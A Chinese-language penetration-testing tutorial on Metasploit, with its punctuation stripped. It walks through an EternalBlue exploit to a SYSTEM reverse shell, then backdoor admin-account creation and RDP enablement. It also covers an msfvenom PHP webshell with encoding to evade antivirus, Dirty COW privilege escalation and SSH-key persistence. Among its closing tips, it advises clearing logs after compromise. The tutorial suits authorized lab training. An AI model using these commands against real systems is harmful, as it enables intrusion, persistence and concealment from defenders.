
1. 引言Metasploit 是目前最流行的渗透测试框架之一由 Rapid7 公司维护。它集成了大量已知漏洞的利用模块、辅助扫描模块、后渗透模块以及 Payload 生成工具是安全从业者进行漏洞验证、授权渗透测试和红蓝对抗演练的核心武器。本文将从零开始详细介绍 Metasploit 的安装、基础使用流程并通过两个真实案例MS17-010 永恒之蓝漏洞利用、Web 应用文件上传漏洞利用帮助读者快速掌握其核心操作。注意所有操作必须在获得合法授权的环境中进行严禁用于非法攻击。2. 环境准备2.1 安装 MetasploitMetasploit 提供两个主要版本Metasploit Pro商业版提供 Web 界面、自动化扫描和报告生成。Metasploit Framework社区版/开源版命令行界面功能完整免费使用。在 Kali Linux 中已预装 Framework 版本其他 Linux 发行版可通过以下命令安装# 使用官方安装脚本推荐curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erbmsfinstallchmodx msfinstallsudo./msfinstall# 或使用 aptDebian/Ubuntusudoaptupdatesudoaptinstallmetasploit-framework启动 MSF 控制台msfconsole首次启动会自动初始化数据库看到带有msf6 提示符即表示成功。2.2 搭建测试靶机本文案例使用以下靶机环境建议在虚拟机中搭建Windows 7x86用于 MS17-010 漏洞利用关闭防火墙开启 SMB 服务。DVWA / Metasploitable 2用于 Web 漏洞利用练习。靶机网络配置为 NAT 或 Host-Only确保攻击机与靶机互通。3. Metasploit 基础架构理解核心概念有助于后续操作组件说明Module模块按功能分类的代码单元位于modules/目录下Exploit利用模块针对特定漏洞的利用代码Payload载荷漏洞利用成功后执行的代码如反弹 ShellAuxiliary辅助模块扫描、探测、指纹识别等非利用功能Post后渗透模块获取 Shell 后的信息收集、权限提升等Encoder编码器对 Payload 进行编码以绕过杀毒软件Listener监听器接收反弹连接的 Handler4. 基础使用流程4.1 搜索模块msf6search ms17-010 Matching Modules# Name Disclosure Date- ---- ---------------0exploit/windows/smb/ms17_010_eternalblue2017-03-141exploit/windows/smb/ms17_010_psexec2017-03-142auxiliary/admin/smb/ms17_010_command2017-03-143auxiliary/scanner/smb/smb_ms17_010# 按类型过滤msf6search type:exploit ms17-010 msf6search cve:2021-442284.2 使用模块# 使用某个模块msf6use exploit/windows/smb/ms17_010_eternalblue# 或使用编号msf6use0# 查看模块信息msf6 exploit(ms17_010_eternalblue)info# 查看可配置选项msf6 exploit(ms17_010_eternalblue)show options# 查看可用目标靶机系统版本msf6 exploit(ms17_010_eternalblue)show targets# 查看可用 Payloadmsf6 exploit(ms17_010_eternalblue)show payloads4.3 配置参数# 设置目标 IPmsf6 exploit(ms17_010_eternalblue)setRHOSTS192.168.1.100# 设置本地监听 IP攻击机 IPmsf6 exploit(ms17_010_eternalblue)setLHOST192.168.1.10# 设置本地监听端口msf6 exploit(ms17_010_eternalblue)setLPORT4444# 选择 Payload反弹 Shellmsf6 exploit(ms17_010_eternalblue)setPAYLOAD windows/x64/meterpreter/reverse_tcp# 查看所有已设置和未设置的参数msf6 exploit(ms17_010_eternalblue)show options# 保存当前配置为 job后台运行msf6 exploit(ms17_010_eternalblue)setJOBStrue4.4 执行攻击# 执行一次攻击msf6 exploit(ms17_010_eternalblue)exploit# 或作为后台 job 运行不阻塞控制台msf6 exploit(ms17_010_eternalblue)exploit-j# 检查目标是否易受攻击部分模块支持msf6 exploit(ms17_010_eternalblue)check4.5 获取 Meterpreter Shell成功利用漏洞后会获得一个Meterpreter会话它比普通 Shell 功能强大得多# 查看当前会话msf6sessions-l# 与指定会话交互msf6sessions-i1# 在 Meterpreter 中执行常用命令meterpretersysinfo# 查看系统信息meterpretergetuid# 查看当前用户meterpreteripconfig# 查看网络配置meterpreterps# 查看进程列表meterpretergetpid# 查看 Meterpreter 进程 IDmeterpretermigratePID# 迁移到其他进程规避杀软meterpreterdownload C:\file.txt /tmp/# 下载文件meterpreterupload /local/file C:\# 上传文件meterpretershell# 进入系统命令 Shellmeterpreterbackground# 将会话后台化5. 实战案例一MS17-010 永恒之蓝漏洞利用5.1 漏洞简介MS17-010EternalBlue是 2017 年 Shadow Brokers 泄露的 NSA 漏洞利用工具影响 Windows 7/8/10/Server 2008/2012 等系统。该漏洞位于 SMBv1 协议中攻击者通过特制数据包即可触发远程代码执行。WannaCry 勒索病毒正是利用此漏洞在全球范围内爆发。5.2 漏洞扫描msf6use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010)setRHOSTS192.168.1.0/24 msf6 auxiliary(scanner/smb/smb_ms17_010)setTHREADS10msf6 auxiliary(scanner/smb/smb_ms17_010)run[]192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!5.3 漏洞利用# 使用永恒之蓝漏洞模块msf6use exploit/windows/smb/ms17_010_eternalblue# 配置参数msf6 exploit(ms17_010_eternalblue)setRHOSTS192.168.1.100 msf6 exploit(ms17_010_eternalblue)setLHOST192.168.1.10 msf6 exploit(ms17_010_eternalblue)setLPORT4444msf6 exploit(ms17_010_eternalblue)setPAYLOAD windows/x64/meterpreter/reverse_tcp# 如果目标为 Windows 7 x86需选择对应架构的 Payloadmsf6 exploit(ms17_010_eternalblue)setPAYLOAD windows/x86/meterpreter/reverse_tcp# 执行攻击msf6 exploit(ms17_010_eternalblue)exploit[*]Started reverse TCP handler on192.168.1.10:4444[*]192.168.1.100:445 - Connecting to target...[*]192.168.1.100:445 - Sending exploit...[]192.168.1.100:445 - Sending payload...[*]Sending stage(201283bytes)to192.168.1.100[*]Meterpreter session1opened(192.168.1.10:4444 -192.168.1.100:49174)5.4 后渗透操作meterpretergetuid Server username: NT AUTHORITY\SYSTEM# 获得最高权限meterpretersysinfo Computer:WIN7-PC OS:Windows7(6.1Build7601, Service Pack1). Arch:x64 System Language:zh-CN Meterpreter:x64/windows# 开启远程桌面meterpreterrun post/windows/manage/enable_rdp# 创建管理员后门账户meterpretershell C:\Windows\system32net user hackuser Pss1234 /add C:\Windows\system32net localgroup administrators hackuser /add C:\Windows\system32exit6. 实战案例二Web 应用文件上传漏洞利用6.1 漏洞简介某 Web 应用的文件上传功能未对上传文件类型做严格校验攻击者可上传恶意脚本如 PHP Webshell获取服务器控制权。6.2 生成 Payload# 退出 msfconsole 或另开终端# 使用 msfvenom 生成 PHP Webshellmsfvenom-pphp/meterpreter/reverse_tcpLHOST192.168.1.10LPORT4444-oshell.php# 如果需要编码绕过msfvenom-pphp/meterpreter/reverse_tcpLHOST192.168.1.10LPORT4444-ephp/base64-oshell.php6.3 设置监听msf6use exploit/multi/handler msf6 exploit(multi/handler)setPAYLOAD php/meterpreter/reverse_tcp msf6 exploit(multi/handler)setLHOST192.168.1.10 msf6 exploit(multi/handler)setLPORT4444msf6 exploit(multi/handler)run-j[*]Started reverse TCP handler on192.168.1.10:44446.4 上传并触发登录 Web 应用后台找到文件上传功能。将shell.php上传记录上传后的访问路径如http://target.com/uploads/shell.php。在浏览器中访问该路径或使用curl触发curlhttp://target.com/uploads/shell.php监听端收到回连[*]Meterpreter session2opened(192.168.1.10:4444 -192.168.1.200:12345)meterpretergetuid Server username: www-data meterpretersysinfo Computer:ubuntu-server OS:Linux5.4.0-104-generic Meterpreter:php/linux6.5 提权与持久化# 查看内核漏洞meterpreterrun post/multi/recon/local_exploit_suggester# 使用脏牛漏洞提权假设内核版本匹配meterpreterbackground msf6use exploit/linux/local/dirtycow msf6 exploit(linux/local/dirtycow)setSESSION2msf6 exploit(linux/local/dirtycow)setLHOST192.168.1.10 msf6 exploit(linux/local/dirtycow)setLPORT5555msf6 exploit(linux/local/dirtycow)run# 添加 SSH 公钥持久化meterpreterrun post/linux/manage/sshkey_persistence7. 常用技巧与注意事项7.1 数据库与结果管理# 初始化数据库首次使用msf6db_init# 将扫描结果存入数据库msf6db_nmap-sV192.168.1.0/24# 查询已发现的主机和服务msf6hosts msf6services# 导出报告msf6db_export-fxml /tmp/report.xml7.2 资源脚本自动化将常用命令写入auto.rc文件use exploit/multi/handlersetPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.10setLPORT4444run-j启动时加载msfconsole-rauto.rc7.3 安全提醒授权优先始终在获得书面授权后进行测试未经授权即违法。防火墙与杀软实际环境可能部署了杀毒软件、EDR、防火墙Payload 需要编码或加密绕过。日志清除后渗透操作中注意清除访问日志和操作记录。法律合规遵守《网络安全法》及相关法律法规漏洞利用仅限授权测试。8. 总结本文从 Metasploit 的安装、基础概念出发详细讲解了模块搜索、参数配置、Payload 选择等核心操作并通过 MS17-010 永恒之蓝漏洞利用和 Web 文件上传漏洞利用两个实战案例完整演示了从扫描、利用到后渗透的全流程。Metasploit 是一个极其强大的框架本文仅覆盖了其冰山一角。建议读者在合法授权的靶机环境中反复练习并进一步学习自定义模块开发、免杀 Payload 生成、内网横向移动等进阶内容。技术本身无善恶关键在于使用者的意图与边界。